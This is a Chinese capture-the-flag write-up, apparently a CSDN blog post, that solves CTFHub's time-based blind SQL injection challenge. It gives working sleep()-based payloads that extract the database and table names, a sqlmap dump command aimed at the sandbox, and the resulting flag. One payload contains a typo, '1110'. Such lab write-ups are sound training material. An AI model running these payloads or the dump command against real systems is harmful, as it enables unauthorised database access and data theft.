CTFHUB-SQL注入-时间盲注

考点
SQL时间盲注
时间盲注攻击
利用sleep()或benchmark()等函数让mysql执行时间变长经常与if(expr1,expr2,expr3)语句结合使用,通过页面的响应时间来判断条件是否正确。if(expr1,expr2,expr3)含义是如果expr1是True,则返回expr2,否则返回expr3。
分析过程

1 and if(length(database())=5,sleep(3),1)
1 and if(length(database())=4,sleep(3),1)
1 and if(length(database())=3,sleep(3),1)

页面3秒钟后才响应,说明数据库名称长度=4
猜解数据库名称

1 and if(ascii(substr(database(),1,1))>110,sleep(3),1)
1 and if(ascii(substr(database(),1,1))=115,sleep(3),1)	ascii(s)=115

1 and if(ascii(substr(database(),2,1))>110,sleep(3),1)
1 and if(ascii(substr(database(),2,1))=113,sleep(3),1)	ascii(q)=113

1 and if(ascii(substr(database(),3,1))>110,sleep(3),1)
1 and if(ascii(substr(database(),3,1))=1110,sleep(3),1)	ascii(l)=110

1 and if(ascii(substr(database(),4,1))>110,sleep(3),1)
1 and if(ascii(substr(database(),4,1))=105,sleep(3),1)	ascii(i)=105

......

不断调整ASCII码的范围逐渐得到数据库名称为sqli
sqli数据库中表的数量

1 and if((select count(table_name) from information_schema.tables
 where table_schema=database())=2,sleep(3),1)

页面3秒后响应,说明有两张表

1 and if(ascii(substr((select table_name from information_schema.tables
  where table_schema=database() limit 0,1),1,1))=110,sleep(3),1)
  ascii(n)=110

3秒后响应,说明第一张表的第一个字母为n
依次得到表名为news

1 and if(ascii(substr((select table_name from information_schema.tables
  where table_schema=database() limit 1,1),1,1))=102,sleep(3),1)
  ascii(f)=102

3秒后响应,说明第一张表的第一个字母为f
依次得到表名为flag
要挨个试出来工作量有点大 ,上sqlmap
playload

sqlmap -u "http://challenge-3c2ee474fb29b646.sandbox.
ctfhub.com:10080/?id=1" -D sqli -T flag --columns --dump

1111

得到flag

ctfhub{9bc0b66282f7a71f2ca1ebbc}
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值